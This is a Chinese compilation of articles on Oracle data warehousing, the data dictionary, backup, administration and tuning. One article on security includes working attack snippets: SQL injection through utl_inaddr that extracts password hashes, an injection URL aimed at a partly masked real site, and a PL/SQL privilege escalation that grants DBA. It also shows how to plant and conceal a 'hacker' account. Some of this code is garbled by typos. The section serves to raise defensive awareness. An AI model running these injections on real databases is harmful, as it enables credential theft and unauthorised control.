Oracle数据仓库
Oracle数据仓库(精选8篇)
Oracle数据仓库 第1篇
关键词:Oracle数据仓库,解决方案,应用技术
数据仓库解决方案涉及到多种技术,开展对Oracle数据仓库解决方案应用技术的研究具有非常重要的意义。应用Oracl数据仓库时,会涉及到多方面的因素,执行操作比较繁琐,其建立在全部数据库的基础上。数据库管理及维护、数据管理及存储、数据展示及分析、数据集中及转换、数据库构建及设计等内容都归属为实现Oracle数据仓库解决方案的范畴。
1 体系结构概述
要想充分的了解Oracle数据仓库解决方案所应用的关键技术,首先要明确该数据仓库的体系结构。从整体上来看,其由数据获取层、数据存储层和数据展现层构成。(1)体系结构中的数据获取层对系统运行效率有直接的影响,可以接收到用户提交的申请要求,能够采取规范、科学的措施进行进一步的操作和管理,例如:转化数据的格式、实现数据信息的重新设置和组成等,最终存储于数据库;(2)数据存储层中包含大量的数据信息,这些数据均被存储在多维数据库或者关系型数据库中。该数据系统的关键构成即为数据信息的存储部分,这些数据信息虽然在来源和种类方面各不相同,但形成了完善的库[1]。在此结构层中存放着海量的数据信息,可能发挥深入挖掘数据、联机分析处理的作用,能够在高效、快速地完成处理大量数据信息的任务,删去了迁移信息的操作过程,使得服务功能得到明显的改善,保障了系统功能的拓展及延伸;(3)在数据展现层的作用下,系统能够将大量的数据提供给用户,该层具有分析数据、汇总数据表的功能,在这个过程中会应用到许多先进的技术和数据处理工具,便于用户在统一的界面中对数据进行实时性访问。
2 应用技术
2.1 ETL过程设计
企业在处理相关业务的过程中,数据信息的来源为外部和内部两个方面,在制定解决方案时会应用到这些数据,这就必须要依靠Extract-Transform-Load(ETL)设计技术来实现[2]。ETL过程设计技术能够发挥转换数据及提取数据的功能,并将处理、加工后的数据信心进行存储设置,在Oracle数据仓库中利用数据仓库技术能够使得解决方案的设计和制定更加具体、全面,扩大方案的应用范围,在不同的条件和环境下均发挥作用。同时,还能够结合用户的个性化要求,应用针对性的方法和措施,实现资源的优化配置和高效利用。在数据仓库技术下的数据采集工作能够通过两种途径来实现,即被动和主动,为加载数据任务的完成提供了技术保障。
2.2 建模
企业在应用Oracle数据仓库解决方案的过程中,都是建立在企业实际发展状况和未来规划目标的基础上形成的,因此在一定程度上,可以反映企业数据库的应用和基本业务等状况[3]。基于业务需求上的动力是构建数据仓库的根本原因,这就要求相关研发工作人员同企业业务员进行有效的沟通和交流,加强两个部分之间的联系,从而开发出同企业发展相适应发的数据仓库解决方案[1]。
2.3 数据管理
同传统的技术相比,集维护、组织、存储、分类等功能于一体的数据管理技术具有显著的优势,能够使用户的数据处理工作更加快捷,简化了操作步骤,具体可以划分为3个不同的阶段。Oracle数据库中存储着庞大的数据信息,为业务的实现提供了坚实的数据保障,但对数据管理工作的要求相对较高。在Oracle数据仓库解决方案的设计过程中,数据管理技术的应用将数据的高效管理变为现实。
2.4 元数据管理
Oracle数据库中的Oracle Warehouse Builder(OWB)拥有管理、设计元数据的功能,可以将大量的数据信息统一进行存储,为后期数据库的管理及维护工作奠定基础。作为一种综合性的应用工具,元数据管理技术能够站在一个整体性的角度,对全部数据进行查看,形成生动、直接的Oracle metadata view,映射信息与数据库二者的关系,将更加真实、可靠的信息提供给研发设计和业务工作人员[4]。在该技术的作用下,用户能够获取数据服务整个过程的运行情况,清晰地查看和分析业务操作结果,对企业工作效率的提升大有裨益。
3 ODM(Oracle Data Mining)应用
具有挖掘数据作用的数据仓库,在对数据分析的过程中,无需对数据进行迁移,将少了操作处理环节,提高了处理和响应效率,使用户对其进行分析,获取具有价值的信息,满足自身的需求。应用Oracle数据仓库的解决方案处理企业业务问题时,构建数据模型、数据信息的汇总和整理、评价分析数据模型等工作都需要良好的数据库环境,并依托挖掘数据价值来实现。作为Oracle Advanced Analytics的一个组件,ODM Oracle数据挖掘技术能够构建多种模型,同应用程序相结合,可以发挥极大的作用,也可以用于查询结构化查询语言方面,对企业未来发展的状况进行预测和分析,使得数据能够在短时间内进行高效的传递和共享,可靠性较强。研发设计人员在此技术的支持下,能够提供更具商业价值的服务和产品,使Oracle数据仓库解决方案的制定更加智能化[5]。
4 OLAP多维分析
根据查看操作繁琐性的不同,可以将数据仓库中的访问技术划分成两大类,其中一种是进行多维式数据分析的联机分析处理技术,该技术的应用需要借助一些工具,操作步骤相对繁琐;而另一种技术的操作相对简单,可以对数据库服务器进行直接的访问。将OLAP多维分析技术应用在制定和设计Oracle数据仓库解决方案领域中,虽然保障了系统的数据查找功能,便于用户进行系统、规范性的分析和研究,但对数据仓库的维护和管理工作提出了更高的要求,增大了后期管理难度。应用于数据仓库系统的联机分析处理技术(Online Analytical Processing)针对的是大量数据信息的处理,可以完善解决方案,前期是必须要确保数据库具有强大的空间容量,从而发挥数据分析作用。
数据库中的联机分析处理结果建立在数据仓库的基础上形成的,可以对企业的日常业务进行处理和操作,尤其在复杂的业务操作中发挥着重要作用,使得数据分析结果更加生动、直观,便于用户理解和分析,为企业的发展做出了巨大的贡献。该技术下的多维关系是保障数据信息管理高效性的关键,一方面可以减少数据仓库后期维护和管理所需的成本费用,另一方面还能够对企业发展策略的制定提供支持。
Oracle数据仓库解决方案中的OLAP多维分析技术具有明显的优势,其特点主要表现在以下几个方面:(1)由于用户角色的不同,在系统中所拥有的权利也各不相同,数据仓库中数据的访问操作同用户的权限有直接的关系,只能允许全县范围内的用户使用。联机分析处理数据信息安全性较高,系统会根据用户的权利对相应的操作进行管理,用户管理要求较高[6];(2)Oracle数据仓库中涵盖了大量的数据管理操作要求,能够对大量的数据进行统一、规范的管理,系统性能大大提高;(3)OLAP应用程序接口访问、结构化查询语言的实现都建立在数据仓库中的特定关系基础上,研发工作人员应用OLAP多维分析技术可以对多项数据信息进行查看、分析。
此外,OLAP多维分析技术还可以提供AVM分析工作区管理,用于对数据模型的构建,完成业务操作,明确数据信息在数据库中的关系,并形成一个整体性的数据表,计算能力较强,能够对海量的数据信息进行处理。该技术下的数据运算种类较多,提升了业务能力。OLAP操作编程语言能够对数据仓库中的数据的运算进行表达,通过相应的函数运算,完成加在数据的操作,还可以结合实际需求,对数据库中的信息进行修改、添加或删除等更新操作,为企业业务处理时所需的运算和统计提供了有利的保障。
5 结语
近年来,Oracle数据仓库解决方案获得了广泛的应用,促进了各个行业的发展,提升了企业的管理和服务水平,成为社会各界研究的重点课题。结合以往对Oracle数据仓库解决方案应用技术的研究成果,可以发现实施过程中的关键技术包括建模技术、ETL过程设计技术、元数据管理技术、数据管理技术等。此外,联机分析处理多维分析技术及ODM应用技术的应用,也使得数据仓库解决方案更加完善,提高了系统性能。
参考文献
[1]唐宏,聂能,熊思民,赵明伟.数据仓库实现技术[J].数字通信,2000,(08).
[2]陆剑峰,张浩.数据仓库数据更新的研究及基于Oracle数据库的开发与应用[J].计算机工程与应用,2004,(26).
[3]侯筱婷.基于数据仓库、OLAP和数据挖掘技术的数据分析、展现与预测[D].西安电子科技大学,2007.
[4]张腾飞.基于数据仓库的信用信息系统的分析与设计[D].武汉理工大学,2009.
[5]马洪江.浅论数据仓库在企业管理决策支持系统中的应用[J].成都大学学报(自然科学版),2000,(03).
简介Oracle的数据字典 第2篇
1.1 X$表
这一部分表是Oracle数据库的运行基础,在数据库启动时由Oracle应用程序动态创建。
这部分表对数据库来说至关重要,所以Oracle不允许SYSDBA之外的用户直接访问,显示授权不被允许。
如果显示授权你会收到如下错误:
SQL>grant select on x$ksppi to eygle;grant select on x$ksppi to eygle*ERROR at line 1:ORA-02030: can only select from fixed tables/views
1.2 GV$和V$视图
从Oracle8开始,GV$视图开始被引入,其含义为Global V$.
除了一些特例以外,每个V$视图都有一个对应的GV$视图存在。
GV$视图的产生是为了满足OPS环境的需要,在OPS环境中,查询GV$视图返回所有实例信息,而每个V$视图基于GV$视图,增加了INST_ID列判断后建立,只包含当前连接实例信息。
注意,每个V$视图都包含类似语句:
where inst_id = USERENV(’Instance’)
用于限制返回当前实例信息。
我们从GV$FIXED_TABLE和V$FIXED_TABLE开始
SQL>select view_definition from v_$fixed_view_definition
where view_name=’V$FIXED_TABLE’;
VIEW_DEFINITION
----------------------------------------------------------
select NAME , OBJECT_ID , TYPE , TABLE_NUM from GV$FIXED_TABLE
where inst_id = USERENV(’Instance’)
这里我们看到V$FIXED_TABLE基于GV$FIXED_TABLE创建。
SQL>select view_definition from v_$fixed_view_definition
where view_name=’GV$FIXED_TABLE’;
VIEW_DEFINITION
-----------------------------------------------------------
select inst_id,kqftanam, kqftaobj, ’TABLE’, indx from x$kqfta
union all
select inst_id,kqfvinam, kqfviobj, ’VIEW’, 65537 from x$kqfvi
union all
select inst_id,kqfdtnam, kqfdtobj, ’TABLE’, 65537 from x$kqfdt
这样我们找到了GV$FIXED_TABLE视图的创建语句,该视图基于X$表创建。
1.3 GV_$,V_$视图和V$,GV$同义词
这些视图是通过catalog.ql创建,
当catalog.sql运行时:
create or replace view v_$fixed_table as select * from v$fixed_table;
create or replace public synonym v$fixed_table for v_$fixed_table;
create or replace view gv_$fixed_table as select * from gv$fixed_table;
create or replace public synonym gv$fixed_table for gv_$fixed_table;
我们注意到,第一个视图V_$和GV_$首先被创建,v_$和gv_$两个视图。
然后基于V_$视图的同义词被创建。
所以,实际上通常我们访问的V$视图,其实是指向V_$视图的同义词。
而V_$视图是基于真正的V$视图(这个视图是基于X$表建立的)。
而v$fixed_view_definition视图是我们研究Oracle对象关系的一个入口,仔细理解Oracle的数据字典机制,有助于深入了解和学习Oracle数据库知识。
1.4 再进一步
1.4.1 X$表
关于X$表,其创建信息我们也可以从数据字典中一窥究竟。
首先我们考察bootstrap$表,该表中记录了数据库启动的基本及驱动信息。
SQL>select * from bootstrap$;LINE# OBJ# SQL_TEXT-------------------------------------------------------------------1 -1 8.0.0.0.00 0 CREATE ROLLBACK SEGMENT SYSTEM STORAGE ( INITIAL 112K NEXT 1024K MINEXTENTS 1 M8 8 CREATE CLUSTER C_FILE#_BLOCK#(”TS#“ NUMBER,”SEGFILE#“ NUMBER,”SEGBLOCK#“ NUMBER)9 9 CREATE INDEX I_FILE#_BLOCK# ON CLUSTER C_FILE#_BLOCK# PCTFREE 10 INITRANS 2 MAXT14 14 CREATE TABLE SEG$(”FILE#“ NUMBER NOT NULL,”BLOCK#“ NUMBER NOT NULL,”TYPE#“ NUMBE5 5 CREATE TABLE CLU$(”OBJ#“ NUMBER NOT NULL,”DATAOBJ#“ NUMBER,”TS#“ NUMBER NOT NULL6 6 CREATE CLUSTER C_TS#(”TS#“ NUMBER) PCTFREE 10 PCTUSED 40 INITRANS 2 MAXTRANS 2557 7 CREATE INDEX I_TS# ON CLUSTER C_TS# PCTFREE 10 INITRANS 2 MAXTRANS 255 STORAGE (....
这部分信息,在数据库启动时最先被加载,跟踪数据库的启动过程,我们发现数据库启动的第一个动作就是:
create table bootstrap$ ( line# number not null, obj# number not null, sql_text varchar2(4000) not null) storage (initial 50K objno 56 extents(file 1 block 377))
Oracle数据库安全 第3篇
为什么需要oracle数据安全, 据统计截止2009年底, 据相关部门调查, 在德国741家公司中有被数据库入侵的家数高达百分之83.6, 造成直接经济损失2.8亿欧元。并按照被入侵次数按每年10%的速率增长, 受影响部门有销售部、设计部、人事部和市场部。攻击者大多是内部员工和业界竞争者。
又根据调查每个中等规模的公司, 大约需要1000左右的oracle数据库实例, 相当于300个生产数据库, 但是其中核心的数据库实例只占2%-5%, 平均每个DBA要管理30-100个数据库实例。10-20%的数据库是过期的版本, 80-90%的数据库运行相同的版本。
一般数据库应用中我们采用的结构为客户端、中间件和数据库服务器三层结构。即使这样我们还是有漏洞, 如没有统一的认证系统, 不能定时的更换密码, 在杀毒和防木马软件方面财力投入不够, 管理上缺乏安全意识等。
二、问题与解决方式
三、黑客攻击举例
1、弱密码攻击举例:
黑客可以通过命令c:>checkpwd system/secretpw@ora10104local password_file.txt进入本地文件glogin.sql和login.sql文件, 还可以通过sqlplus sys@ora10g4as sysdba连接glogin.sql文件, 从而达到创建用户和修改提升权限的目的。
2、利用系统漏洞:
在url_inaddr中默认有授权公共账户的域名解析, select utl_inaddr.get_host_name (127.0.0.1’) fromdual;通过修改错误信息得到系统账户, select url_addr.get_host_name ( (select username||=’||password from dba_users where rownum=1) ) from dba_users where rownum=1) ) from dual;从而得到系统密码。
3、通过SQL注入攻击:
http://ec.*****/prelex/detail_dossier_real.cfm?CL=en&Dosld=124131||url_inaddr.get_host_name ( (select%20’SID=’||global_name%20from%20global_name) ) , 这样可以得到SID, 同样道理通过改上述字段中的global_name为all_users可以得到相关用户信息。
4、PL/SQL入侵:
介绍一个典型的PL/SQL入侵create or replace function F1 return number authid current_user as pragma autonomous_transaction;begin execute immediategrant dba to public’;commit;return 1;end;/Expolit exec sys.kupw$WORKER.main (x’, ’YY’’and1=user1.f1–mytag12’) ;最后通过relogin或者运行set role dba变为DBA。 (create user hacker identified by hacker;crant dba to hacker;一些经验老道的黑客会隐藏自己的身份update sys.user$set datats#=777;
Commit;测试sqlplus hacker/hacker
四、解决方案
1、测试打开2-3个典型数据库
2、尝试定位问题所在
3、修复问题
4、安装补丁修改策略
5、扫描更多的数据库
五、介绍几款扫描工具
1、Sentrigo Hedgehog (图形加命令行的高级扫描漏洞软件)
2、RDSrepscan (容易上手的网页界面数据库扫描软件)
总结
1、数据库安全是一个循序渐进的过程, 它需要不断地修复和查找漏洞。
2、需要设置防火墙和入侵检测系统辅助管理员实施。
Oracle数据仓库 第4篇
关键词:医院数据中心,Oracle数据库集群,数据仓库,联机分析处理
1 引言
医院数据中心的研究与应用是为了充分利用好数据信息资源, 解决“信息孤岛”问题, 挖掘出对医院管理有用的模型、规律和知识, 并作为管理者决策支持的依据。通过研究通过建设全医院数据管理平台, 形成直观的数据视图和综合决策分析支持系统, 为各部门所需的管理决策、临床决策及科研决策等信息挖掘提供基础数据支持。
2 医疗数据中心基础架构
Oracle数据库集群是基于Oracle数据库的多节点分布式计算集群, 高性能的数据库服务能力, 成为搭建医院数据中心数据库平台的理想选择。本文将讨论搭建在以Oracle数据库集群为数据平台上的医院数据中心建设, 实现医院信息资源的高效使用, 把历史数据归集到的数据医院数据中心, 从业务数据中获取有用信息, 使医院在管理决策支持、临床决策支持和绩效评价管理上做出及时、有效、合理的判断。
智能数据作为建设医院数据中心时所采用的关键技术。运用其指导思想, 建设的医院数据中心主要涵盖以下几大内容, 第一是数据归集与汇总;第二是数据的多维度分析与展现;第三是数据分析的展现与决策支持应用, 包含了临床决策、绩效评价管理应用多维分析报表展示。
3 医疗数据中心的核心技术
常用的数据库建模方式有两种:关系数据库和多维数据库。医院信息系统中采用关系数据库进行建模, 而数据中心的数据仓库则采用多维数据库进行建模。
在建设医院数据中心过程中, 所设计的数据仓库可以满足以下功能:开放性的数据体系结构;安全性的数据归档、备份;服务性的日程安排、存储管理、性能检测、报警/时间和通知。DW的构建要遵循规划分析、设计实施、实际应用三个阶段。DW系统在螺旋循环中循序渐进不断完善。我们归类出费用、医疗和耗材三个核心数据集, 以此为基础分门别类进行数据分析。
为了实现上述的联机分析处理, 多维分析报表, 决策支撑应用, 数据仓库必须具备相应的高性能处理能力才能满足复杂的业务需求, 从技术层面, 采用Oracle数据库集群的数据中心, 可将不同数据整合到统一的数据平台, 通过集群中多台服务器分布式并行计算, 从而达到及时响应大并发的数据访问和快速数据分析处理的技术要求。
4 联机分析处理
Oracle多维分析工具与Discoverer通过图形化的前端, 支持交互式查询, 图形化的业务数据显示功能。Oracle的多维数据模型拥有分析、预测、建模, 以及对数据进行统计和时间序列管理和如果会怎么样 (what-if) 智能询问等功能。
应用多维数据集使得医院管理者可以从不同角度 (维度) 、通过不同的度量值来观察分析所关心的实际数据。数据仓库中所储存的大都是由各种信息系统所采集的事务型数据, 以医院物质耗材信息为例, 数据仓库中存放的是医疗耗材费用记录, 医嘱记录、产品厂家等字段。联机分析处理能够藉由这些明细记录上再进行多种精细低粒度的汇总、统计、分析等处理, 最后将结果体现在医院需要的各种报表之中。
Oracle express Server工具能够存储和管理多维数组, 或者通过一种只需很少、甚至不需检索的复杂的多维高速缓存方案, 提供直接的关系数据分析。
5 多维报表展现与分析应用
医院数据中心建设多维分析报表的展现与应用是将数据分析的最终体现。多维组织为用户从不同角度观察数据提供了灵活性。多维分析报表工具能够让分析者透过透视表、仪表板、统计分析图、KPI计分卡、智能地图、掌握医院的整体绩效, 能让分析者快速掌握管理的重点。医院可从时间、地域、身份、费别等不同角度来深入医院的经营情况。通过时间维度可绘制出院患者就诊时间峰值图, 帮助决策者有效的调用医疗资源。通过研究专科疾病绘制出疾病发生和流行规律, 为疾病治疗和预防提供决策支持。
维的不同组合和所考察的度量指标构成的多维数组, 采取切片、切块、钻取、旋转等各种分析模型把收集到的数据透过ETL集成到数据仓库, 并从业务数据中利用OLAP提取有用的信息外, 最重要的就是要应用在各个不同的管理领域, 帮助各级管理者在管理决策支持、临床诊断和绩效评价管理上做出及时、准确、有效的判断与决策。
6 结束语
通过医院数据中心的建设, 医院将能够以现有的业务系统为主要数据源, 逐步建立起跨应用、跨平台的统一的医院数据仓库, 在此之上开发更丰富的应用, 包含管理决策支持、临床诊断、与绩效评价管理等。同时, 应用商业智能先进的信息技术, 提供强大的数据查询、统计、汇总及分析等功能, 并建立各种分析和决策数学模型, 开展跟踪预测, 为医院管理和决策提供可信度高的数据和数据分析结果。
参考文献
[1]闫莅荣, 戴健.医疗信息孤岛与信息标准[J].中国数字医学, 2010, 5 (9) :101-102.
[2]Oracle真正应用集群11g Oracle白皮书[Z].2007 (4) .
[3]W H Inmon.Building the Data Warehouse[M].India:John Wiley, 2002.
[4]刘佳, 兰顺碧, 张晓祥, 等.基于数据仓库的分析决策系统住院病人费用[J].计算机工程, 2007, 33 (19) :267-269.
[5]刘晓茜, 杨寿保, 郭良敏, 等.雪花结构:一种新型数据中心网络结构[J].计算机学报, 2011, 34 (1) :77-86.
[6]Umeshwar Dayal.An Overview of Data Warehousing and OLAP Technology[C].Palo Alto:ACM Sigmod Record, 1997, 26 (1) :65-74.
[7]严丽平.数据仓库的构建及其多维数据集分析[J].科技广场, 2007, (6) :22-27.
[8]何莎莎, 冯占春.公立医院组织绩效的内涵探析[J].医学与社会, 2010, 23 (1) :30-32.
Oracle数据库备份策略 第5篇
不管数据库如何精心设计、配置和优化,它们都难免会出现系统或硬件故障,如:语句故障、用户进程故障、实例故障、介质故障等。一旦数据库出现故障将给用户数据带来灾难性的结果。因此数据库管理员必须采取必要的备份策略以避免数据灾难的发生。
Oracle提供了强大的备份策略,其备份方式分为物理备份和逻辑备份两大类型。物理备份是数据库文件拷贝的备份,根据备份时数据所处状态的不同,物理备份又可分为脱机备份(冷备份)和联机备份(热备份);逻辑备份是对数据库逻辑组件(表、存储过程等数据库对象)的备份,逻辑备份使用Exp命令将数据库中相应的逻辑对象存储为二进制文件。
2 脱机备份
脱机备份是在数据库被正常关闭之后进行的数据文件的物理备份。当数据库正常关闭时,将数据库的所有数据文件、控制文件、参数文件、口令文件、重做日志文件都拷贝到备份介质中。这些文件因而保持着数据关闭时的完整的映象,对于备份Oracle信息而言,脱机备份是最快和最安全的方法。
2.1 脱机备份的优点
1)是非常快速的备份方法(只需拷文件)
2)容易归档(简单拷贝即可)
3)容易恢复到某个时间点上(只需将文件再拷贝回去)
4)能与归档方法相结合,做数据库“最佳状态”的恢复。
5)低度维护,高安全性。
2.2 脱机备份的方法
1)关闭数据库shoutdown normal;
2)将数据文件、控制文件、参数文件(可选)、联机重做日志文件及存档日志文件(Oracle工作在Archivelog方式)拷贝到备份磁盘。
3)重新启动数据库startup open数据库名;
脱机备份操作简单、安全可靠,但脱机备份只能恢复到数据库被关闭时的状态,同时只有在关闭数据库的状态下才能进行备份操作。实际应用中很多情况下数据库必须不间断的工作,不可能使用脱机备份数据库,在这种情况下只能采用联机备份。
3 联机备份
联机数据库备份是不一致备份,因为在备份过程中数据库中的部分数据可能被修改,因此数据库一旦出现故障只能利用备份文件与归档日志做完全或不完全的恢复,此时数据库必需工作在Archivelog方式。
3.1 Archivelog方式下的备份策略
1)在初始建立数据库时,执行脱机全数据库备份,这是整个数据库备份的基础,它保存着全部原始数据库文件和控制文件的备份;
2)定期进行全数据库备份(联机备份);
3)每次对数据库进行结构修改时,必须进行控制文件备份。
3.2 联机备份的方法
在数据文件备份之前,对应的表空间必须通过使用ALTER TABLESPACEBEGIN BACKUP以备份方式放置。然后组成表空间的数据文件可以使用类似脱机备份的操作系统命令进行拷贝。在数据文件用操作系统命令拷贝后,应使用ALTER TA-BLESPACEEND BACKUP命令使表空间脱离联机备份方式。同时用ALTER DATABSEBACKUP CONTROLFILE命令备份控制文件。(下转第4365页)(上接第4363页)
联机备份没有必要备份联机日志,但必须是归档状态,在实例恢复的时候,可能需要用到归档日志。当前联机日志一定要保护好或是处于镜像状态,当前联机日志的损坏,对于数据库的损坏是巨大的,只能以数据的丢失来进行数据库的恢复工作。
对于临时表空间,存放的是临时信息,在联机备份是也可以考虑不用备份,如果临时文件发生故障,可以删除该数据文件与表空间,重建一个临时表空间。
3.3 联机备份的优点
1)可在表空间或数据文件级备份,备份时间短。
2)备份时数据库仍可使用。
3)可达到秒级恢复(恢复到某一时间点上)。
4)可对几乎所有数据库实体作恢复。
5)恢复是快速的,在大多数情况下在数据库仍工作时恢复。
当备份的数据量不是太大,需要经常性的数据备份时,可以使用逻辑备份。ORACLE数据库的逻辑备份分为三种模式:表备份、用户备份、表空间备份和完全备份。
表模式:备份某个用户模式下指定的对象(表)。
exp用户名/密码@适配器tables=(table list)file=备份文件名。
用户模式:备份某个用户模式下的所有对象。
exp用户名/密码@适配器file=备份文件名owner=用户名。
表空间模式:备份整个表空间。
exp用户名/密码@适配器tablespaces=(tablespace list)file=备份文件名
完全备份:备份完整的数据库。
exp用户名/密码@适配器full=y file=备份文件名
对于数据库逻辑备份,建议采用增量备份,即只备份上一次备份后更改的数据。
4 结论
选择备份策略的依据是:丢失数据的代价与确保数据不丢失的代价之比。还有的时候,硬件的备份有时根本满足不了现实需要,假如你误删了一个表,但是你又想恢复的时候,数据库的备份就变的特别重要了。作为DBA,有责任从以下三个方面维护数据库的可恢复性:1)使数据库的失效次数减到最少,从而使数据库保持最大的可用性;2)当数据库不可避免地失效后,要使恢复时间减到最少,从而使恢复的效率达到最高;3)当数据库失效后,要确保尽量少的数据丢失或根本不丢失,从而使数据具有最大的可恢复性。
摘要:任何数据库系统都可能因人为或非人为的因素带来数据灾难。该文详细探讨Oracle数据库系统中所提供的强大的备份策略,以帮助数据库管理员最大限度地减少因数据灾难所带来的损失。
关键词:备份,联机备份,脱机备份,物理备份,逻辑备份
参考文献
[1]丁铖.Oracle8/8i数据库系统管理[M].北京:人民邮电出版社,2001.
[2]盖国强.循序渐进Oracle--数据库管理、优化与备份恢复[M].北京:人民邮电出版社,2007.
[3]袁福庆.Oracle数据库管理与维护手册[M].北京:人民邮电出版社,2006.
ORACLE数据库的管理 第6篇
根据ORACLE数据库存储和查询的特点, 对其管理需要从以下几方面入手:
1 ORACLE数据库的日常维护
1.1 定期检查数据库表空间
表空间是存储信息的逻辑实现。在表空间和存储信息的数据文件之间有着直接的关联。当创建一个表空间时, 就明确了ORACLE数据库初始化文件支联系表空间的位置和这个数据文件的大小。由于数据库内数据的日益增多, 所使用的表空间也随之减少, 因此需要定期对表空间进行检查。如出现数据库表空间不够的情况, 暂时关闭应用程序, 添加新的数据文件。
1.2 定期跟踪警告日志
ORACLE数据库对所有的关键性问题均在警告日志中记录, 所列出的信息真实地反映出紧急事件的发生, 并记录其发生时间。警告日志可以帮助数据库管理员规范数据库的历史记录, 并允许数据库管理员对事件的整个生命周期进行跟踪。ORACLE数据库全天候不停地将信息写入警告日志, 这些信息有可能是发生中断性事件的警告信息。如果不及时查看就有可能没有充分的时间对态势发展做出及时的反应, 致使应用程序中断。
2 ORACLE数据库的日常处理
除了每日监视数据库的运行外, 还需要对数据库发生的问题进行处理, 主要有以下几种情况:
2.1 修改参数文件
在参数文件init.ora中定义了数据文件的个数, 如果在增加新的数据文件时报错, 说明参数文件中定义的数据文件个数过小需要修改。修改过参数文件后需要关闭数据库重新启动, 再增加新的数据文件即可。
2.2 重新建立回滚段
在ORACLE数据库中, 有关先前的信息将保留在一个回滚段中, 这样ORACLE数据库能够在事务没有完成的情况下重新显示“前映像”或数据外观。随着应用程序开始在数据库中改变数据, ORACLE数据库也在改变其保存信息的物理块。在将更改后的信息输入到系统全局区 (SGA) 的数据缓冲区或磁盘时, ORACLE数据库将首先把事务分配到一个回滚段中, 然后在这个回滚段中做一个原始信息的副本。在应用程序处理数据时出错, 在警告日志中记录是回滚段的问题, 此时需要重新建立回滚段。
2.3 数据库关闭
在遇到有长事务影响应用程序中需要关闭数据库。在做数据库关闭时有两种选项, 一是shutdown, 二是shutdown immediate。第一种选项执行时间较快, 可以立即关闭数据库, 第二种方式执行时间较长, 这是因为进行长事务处理时, 即使是在关闭数据库的情况下, 数据库还是会将长事务处理完毕后才能将数据库空间释放, 这样就会影响到应用程序的使用。
3 ORACLE数据库的保护
由于金融系统的特殊性, 要求数据库不间断地运行, 因而对数据库的保护是非常重要的。
3.1 数据库备份
随着数据库数据和日益增加, 数据库可能会面临系统数据流失的问题, 这就需要对数据库进行备份。数据库备份分为脱机数据库备份和联机数据库备份。联机数据库备份是在执行数据库备份的同时, 数据保持运行状态, 只对数据文件和控制文件进行同样的文件级复制, 不需要备份重做日志。脱机数据库备份时必须立刻备份数据库中的所有文件, 而在联机数据库备份中, 可以在任何时候备份部分文件或是全部文件。
3.2 逻辑的数据库备份
类似于脱机备份, 备份的实际上是一个时间上的快照。通过它可以给对象及其数据进行二进制复制。备份整个数据库时, 相当于给组成数据库的每个单独表、索引、视图、同义词、包、过程和触发器等对象做了一个拷贝。这种方式的最大优点在于可以方便地根据需要恢复一个或多个表, 或是整个模式。逻辑的数据库备份也相当于对数据库空间碎片进行了整理。
4 ORACLE数据库的安全管理
在ORACLE数据库安装成功后, 会产生三个自动生成的用户, 权限分别为超级用户权限、数据库管理者权限和普通用户权限。这三个用户的进入口令也是为大家熟知的, 因此在应用系统的开发过程中最好新建用户并设置新的密码使用, 同时最好将超级用户权限和数据库管理者权限这两个用户的口令进行定期或不定期地更换, 避免有人恶意地进入到数据库中进行破坏活动, 从而造成整个系统的瘫痪。另外, ORACLE数据库用户的口令也要定期或不定期地进行更换, 而且用户口令要避免使用简单的字母来进行设置。
5 ORACLE数据库的性能优化
随着数据库规模的扩大, 数据和实例的增多, 应用程序可能会变得更加分散, 这就需要对数据库进行优化。一方面需要修改应用程序为表建立合理的索引, 另一方面要从硬件考虑, 对CPU的反应时间进行相应地调整。
ORACLE数据库为应用系统提供了强大的数据存储和查询功能, 对它的管理是否到位也势必影响着应用系统的上正常运行。只有合理地规划才能让其发挥出最大的作用, 从而保证应用系统的快速反应。
参考文献
[1]王兰成等译.Marlene Theriault, Rachel Carmichael, James Viscusi.oracle数据库管理员基础教程[M].北京:机械工业出版社, 2000.
[2]李逸波等译.Eyal Aronoff, Kevin Loney, Noorali Sonawalla.oracle8性能优化和管理手册[M].北京:机械工业出版社, 2000.
Oracle数据库优化探究 第7篇
随着网络应用的不断发展, 对数据库进行优化变得重要起来。通过对其进行优化, 可以解决数据库系统运行过程中性能的渐进性下降或性能突降等问题, 以保证系统运行的优良性能。下面从5个不同方面介绍Oracle数据库优化设计方案。
1 数据库的物理结构优化
Oracle数据库的物理结构从操作系统一级查看, 是由一个个的文件组成。数据库的数据最终是存储在物理磁盘上的, 因此对于这些物理存储的优化是系统优化的一个重要部分。如果应用系统的数据库比较脆弱, 并在不断地增长或缩小, 这样的系统在非动态变化周期内效率合理, 但是当在动态变化周期内的时候, 性能却很差, 这是由于Oracle的动态扩展造成的。在动态扩张的过程中, Oracle必须根据存储的要求, 在创建行、行变化获取缺省值时, 扩展和分配新的存储空间, 而且表格的扩展往往并不是事情的终结, 还可能导致数据文件、表空间的增长, 这些扩展会导致在线系统反应缓慢。对于这样的系统, 最好的办法就是在建立的时候预先分配足够的大小和合适的增长幅度。在一个对象建立的时候要根据应用充分地计算他们的大小, 然后再根据这些数据来定义对象Initial、Next和Minextents的值, 使数据库在物理存储上和动态增长次数上达到一个比较好的平衡点, 使这些对象既不经常发生增长, 也不过多地占用数据库。
2 充分利用系统全局区域SGA (SYSTEM GLOB AL AREA)
SGA区是由Oracle分配的共享内存结构, 包含一个数据库实例共享的数据和控制信息。SGA区由数据高速缓冲区 (Database Buffer Cached) 、共享池 (Shared Pool) 、重做日志缓冲区 (Redo Logo Cached) 、大型池 (Large Pool) 和其他结构组成。
(1) 数据高速缓冲区。数据高速缓冲区储存的是最近从数据文件中检索出来的数据, 供所有用户共享。当用户要操作数据库中的数据时, 先由服务器进程将数据从磁盘的数据文件中读取到数据高速缓冲区中, 然后在缓冲区中进行处理。用户处理后的结果被存储在数据高速缓冲区, 最后由数据库写入进程 (DBWR) 写到硬盘的数据文件中永久保存。在Oracle数据库中, 采用脏缓存块列表和LRU列表来管理数据高速缓冲区中的缓存块。
(2) 重做日志缓冲区。重做日志缓冲区用于缓存用户对数据库进行修改操作时生成的重做记录。重做日志缓冲区是一个循环缓冲区, 从顶端向低端写入数据, 然后再返回到缓冲区的起始点 (顶端) 循环写入。重做日志缓冲区的大小对数据库性能有较大的影响。较大的重做日志缓冲区, 可以减少对重做日志文件写的次数, 适合长时间运行的、产生大量重做记录的事务。
(3) 共享池。共享池用于缓存最近执行过的SQL语句、PL SQL程序和数据字典信息, 是对SQL语句、PL/SQL程序进行语法分析、编译、执行的区域。合适的共享池大小, 可使编译过的程序代码长驻内存, 大大降低重复执行相同的SQL语句、PL/SQL程序的系统开销, 从而提高数据库的性能。
